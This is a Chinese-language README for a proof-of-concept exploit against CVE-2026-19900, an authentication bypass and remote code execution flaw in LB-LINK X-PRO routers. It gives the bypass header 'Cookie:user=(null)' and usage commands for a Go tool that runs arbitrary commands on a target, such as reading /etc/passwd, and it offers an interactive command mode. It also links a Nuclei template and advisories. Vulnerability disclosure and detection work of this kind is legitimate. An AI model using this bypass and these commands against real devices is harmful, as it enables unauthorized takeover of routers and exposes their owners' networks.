CVE-2026-19900 LB-LINK X-PRO 通过 null 用户绕过身份验证并实现远程代码执行

CVE-2026-19900 通过 null 用户实现硬编码凭据、身份验证绕过及远程代码执行。

通过请求头绕过： Cookie:user=(null)

使用方法

构建并针对目标主机运行脚本：

go build cve-2026-19900-PoC.go
./cve-2026-19900-PoC -t http://target:8080/ -c "id"

无需构建直接运行

go run cve-2026-19900-PoC.go -t http://target:8080/ -c "cat /etc/passwd"

交互模式

./cve-2026-19900-PoC -t http://target:8080/ -i

参数

• -t：目标 IP 地址或主机名（必填）
• -c：发送 cmd 载荷
• -i：交互模式（无需 -c <cmd>）

Nuclei 模板：（模板作者：0x_Akoko）

https://cloud.projectdiscovery.io/library/CVE-2026-19900

参考

https://github.com/glkfc/IoT-Vulnerability/blob/main/LB-LINK/LB-LINK_cmd%20Indicates%20the%20unauthorized%20command%20injection/The%20LB-LINK_cmd%20command%20is%20used%20to%20inject%20information.md https://nvd.nist.gov/vuln/detail/CVE-2026-19900 https://github.com/DavCloudz/cve/blob/main/B-Link/B-Link%20AC1200%20X-PRO(AC6)%20Hardcoded%20Credentials%20Vulnerability.md https://vuldb.com/cve/CVE-2026-19900 https://vuldb.com/submit/870712